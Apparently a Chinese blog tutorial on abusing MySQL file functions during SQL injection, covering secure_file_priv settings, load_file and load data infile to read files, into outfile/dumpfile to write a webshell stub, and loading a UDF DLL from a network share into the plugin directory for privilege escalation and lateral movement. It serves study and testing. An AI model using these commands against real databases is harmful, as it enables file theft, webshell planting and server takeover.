能读写文件的前提

不同系统、不同的数据库版本有细微差异,以下实验在Windows10和Mysql 5.7.26下操作;

1.拥有该File的读权限 or 该目录写的权限

2.当前用户的secure_file_priv属性的值不为NULL

Windows下的设置

修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =

保存,重启mysql。

secure_file_priv属性值的设置:

  • secure_file_priv为null 表示不允许导入导出 (5.7后为默认值)
  • secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
  • secure_file_priv没有设置时,则表示没有任何限制
[mysqld]
secure_file_priv= # secure_file_priv= 表示对读写没有限制
# secure_file_priv= 在基线扫描时也是一个漏洞特征

Linux下的设置

在/etc/my.cnf的[mysqld]下面添加

[mysqld]
secure_file_priv='' # 保存,重启mysql
pkill mysqld
ps -ef | grep mysqld
# 检查一下进程是否被干掉了 ./mysql_safe &

没有读写权限的尝试

win:

use thirdweek;
create table read2_tb(word text);
insert into read2_tb(word) values (load_file('D:/test.txt'));
select * from read2_tb;



也不报错,就是每执行一次就增加一行空值;

linxu:

报错:The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

有SQL注入点,确认是否有读写权限

show global variables LIKE "secure_file_priv";

read

能读文件意味着系统敏感文件泄露,代码被审计;读远程文件;

准备好要读的文件

常用读文件函数,mysql在不同版本读取文件的函数可能会不同:

  • load_file()
  • load data infile()
  • system cat

load_file()

use thirdweek;
create table read2_tb(word text);
insert into read2_tb(word) values (load_file('D:/test.txt'));
select * from read2_tb;

sql> insert into read2_tb(word) values (load_file('D:/test.txt'))

[2019-08-15 10:55:11] 1 row affected in 4 ms



读入成功。

load_file( )函数支持网络路径。如果你可以将DLL复制到网络共享中,那么你就可以直接加载并将它写入磁盘。

select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll') into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

load data infile()

load data infile 'D:/test.txt' into table read2_tb;

write

写命令可以将一条select语句的结果写到MySQL进程所有者拥有的完全可写权限的文件中。能写文件就意味着能写入shell, OS 区分Win\Linux之间的差别;

into outfile

将某列数据写出

use thirdweek;
select * from read2_tb where 1=1 into outfile 'D:/test2.txt'; # D:/test2.txt 不能存在,不然报错
[2019-08-15 11:23:11] [HY000][1086] File 'D:/test.txt' already exists

自定义shell写出

select "123<?php ?>" into dumpfile '/home/Mysticbinary/test.so';

into dumpfile

Think about it carefully. Both of them are function writers. Are they different?

Reference:https://www.jb51.net/article/139858.htm

The difference beween outfile and dumpfile:

  • 导出的行数不一样
  • 转义输出
  • 是否允许二进制文件

导出的行数区别

outfile

首先通过命令select * from test into outfile '/tmp/test.txt'来使用outfile导出:

通过查看官方文档,可以看出使用如下参数可以进行格式调整

  • FIELDS ESCAPED BY 可以用来对指定的字符进行转义
  • FIELDS [OPTIONALLY] ENCLOSED BY 用来对字段值进行包裹
  • FIELDS TERMINATED BY 用来对字段值之间进行分割

    Example:select * from test into outfile '/tmp/test.txt FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY ' " 'LINES TERMINATED BY '\n'

    Example out :

dumpfile

在通过命令select * from test into dumpfile '/tmp/test.txt'来使用outfile导出:

命令执行时,命令提示超过一行

查看文件内容

通过dumpfile导出的数据行数据之间并未进行换行且只导出了部分数据。

转义输出

保持原数据格式

outfile

我们使用命令 select 'a\naa\raaaa' into outfile '/tmp/test.txt' 来看一下在常用的写文件场景下的结果

outfile对导出内容中的\n等特殊字符进行了转义,并且在文件内容的末尾增加了一个新行

dumpfile

使用命令 select 'a\naa\raaaa' into dumpfile '/tmp/test.txt';

可以看到dumpfile对文件内容是原稿写入,未做任何转移和增加。

基于这个原因,在UDF提权中一般使用dumpfile进行dll文件 写入的原因。

二进制文件

outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径。这个问题在php注入中很棘手,因为会自动将单引号转义成\',请千万注意。

但dumpfile,后面的路径可以是单引号、0x、char转换的字符,但是路径中的斜杠是/而不是\

因为dumpfile允许写二进制文件。

mysql写shell并利用成功的前提

1.拥有上面说的3个前提

2.能写入到可执行目录里面

3.能连接成功

利用mysql写shell的好处

  1. 内网扩散

    数据库一般都在内网之中,与其他内网主机能互通,作为一个跳板机就很理想,不过需要注意OP/DBA这种岗位对这台SQL主机的持续监控;

  2. 提权

    一般进入主机可能是低权限或者匿名用户,但是通过SQL注入得到的登陆用户具有一定权限;利用SQL注入也是一种提权方式;

system + [shell command]

在mysql版本为5.x时,除了可以使用以上方式读写文件,还可以使用命令直接读写文件,前提是使用linux.

# read
system cat /test.txt # writer
system vim /web/site/www/test/a.php

注意:

1.此方法只能在本地读取,远程连接mysql时无法使用system

2.无法越权操作

实验证明

$SQL1 = "select * from test_tb where name='lisi' and sex='0'";
//$SQL2 = "system date;"; $conn = getConnect();
$result = $conn->query($SQL1);
//$result = $conn->query($SQL2); print_r($result);

在php远程连接mysql,然后执行了SQL1 和 SQL2, 发现执行的system的SQL语句失败。说明该关键字只能在本地的Linux Mysql上使用。

MySQL注入 利用系统读、写文件的更多相关文章

  1. java读/写文件

    读取文件参考:https://blog.csdn.net/weixin_42129373/article/details/82154471 写入文件参考:https://blog.csdn.net/B ...

  2. Mysql 漏洞利用(越权读取文件,实战怎么从低权限拿到root密码)[转]

    cnrstar (Be My Personal Best!) | 2014-05-20 21:58 众所周知,Mysql的用户在没有File权限情况下是无法通过Load_file读文件或者通过into ...

  3. read(),write() 读/写文件

    read read()是一个系统调用函数.用来从一个文件中,读取指定长度的数据到 buf 中. 使用read()时需要包含的头文件: <unistd.h> 函数原型: ssize_t re ...

  4. C++ 二进制文件 读 写文件

    1 #include <iostream> 2 #include <string> 3 #include<fstream> 4 using namespace st ...

  5. 关于使用 Java 分片读\写文件

    分片读取文件方法: /** * 分片读取文件块 * * @param path 文件路径 * @param position 角标 * @param blockSize 文件块大小 * @return ...

  6. Mysql注入root权限直接写一句话马

    首先我们的找到一个有注入的站:这里我用自己搭建的环境表示:大家不要乱来 http://localhost/pentest/sql/sql_injection_get.php?id=1 发现是root权 ...

  7. c# 读/写文件(各种格式)

    最简单的: --------写 //content是要写入文本的字符串 //(@txtPath + @"\" + rid + ".txt");要被写入的TXT ...

  8. RandomAcessFile、MappedByteBuffer和缓冲读/写文件

    项目需要进行大文件的读写,调查测试的结果使我决定使用MappedByteBuffer及相关类进行文件的操作,效果不是一般的高. 网上参考资源很多,如下两篇非常不错: 1.花1K内存实现高效I/O的Ra ...

  9. 6、Python 中 利用 openpyxl 读 写 excel 操作

    __author__ = 'Administrator' from openpyxl import load_workbook # Excel_Util 类 class Excel_util: #初始 ...

随机推荐

  1. 最近公共祖先(LCA)---tarjan算法

    LCA(最近公共祖先).....可惜我只会用tarjan去做 真心感觉tarjan算法要比倍增算法要好理解的多,可能是我脑子笨吧略略略 最近公共祖先概念:在一棵无环的树上寻找两个点在这棵树上深度最大的 ...

  2. Codeforces Round #613 (Div. 2) C. Fadi and LCM(LCM & GCD)

    题意: LCM(a, b) = X,求 max(a, b) 的最小值. 思路: a, b 只可能存在于 X 的因子中,枚举即可. #include <bits/stdc++.h> usin ...

  3. hdu3565 Bi-peak Number (有上界和下界的数位dp)

    Problem Description A peak number is defined as continuous digits {D0, D1 - Dn-1} (D0 > 0 and n & ...

  4. 【uva 714】Copying Books(算法效率--二分+贪心)

    题意:将1个含N个正整数的序列划分成K个连续的子序列,使每段的和的最大值尽量小,问字典序最小的划分方案. 解法:由于是连续的数的"最大值最小",便可想到二分每段的最大值,若这时可分 ...

  5. hdu5489 Removed Interval

    Time Limit: 4000/2000 MS (Java/Others)    Memory Limit: 65536/65536 K (Java/Others) Total Submission ...

  6. 微信小程序swiper实现 句子控app首页滑动卡片

    微信小程序swiper实现 句子控app首页滑动卡片 引言:最近看到句子控APP首页的效果很清新,可是发现他的微信小程序端没有实现这个功能,我看了一下难度不大,于是尝试着去实现. 实现效果如下: 1. ...

  7. Nginx基础 - 配置代理web服务

    1.反向代理及负载均衡Nginx实现负载均衡用到了proxy_pass代理模块核心配置,将客户端请求代理转发至一组upstream虚拟服务池. 1)upstream配置语法 Syntax: upstr ...

  8. woj1010 alternate sum 数学 woj1011 Finding Teamates 数学

    title: woj1010 alternate sum 数学 date: 2020-03-10 categories: acm tags: [acm,woj,数学] 一道数学题.简单. 题意 给一个 ...

  9. 牛客多校第九场 && ZOJ3774 The power of Fibonacci(二次剩余定理+斐波那契数列通项/循环节)题解

    题意1.1: 求\(\sum_{i=1}^n Fib^m\mod 1e9+9\),\(n\in[1, 1e9], m\in[1, 1e4]\) 思路1.1 我们首先需要知道斐波那契数列的通项是:\(F ...

  10. 如何使用 js 实现一个树组件

    如何使用 js 实现一个树组件 tree component const arr = [ { id: 1, value: 1, level: 1, parentId: 0, }, { id: 2, v ...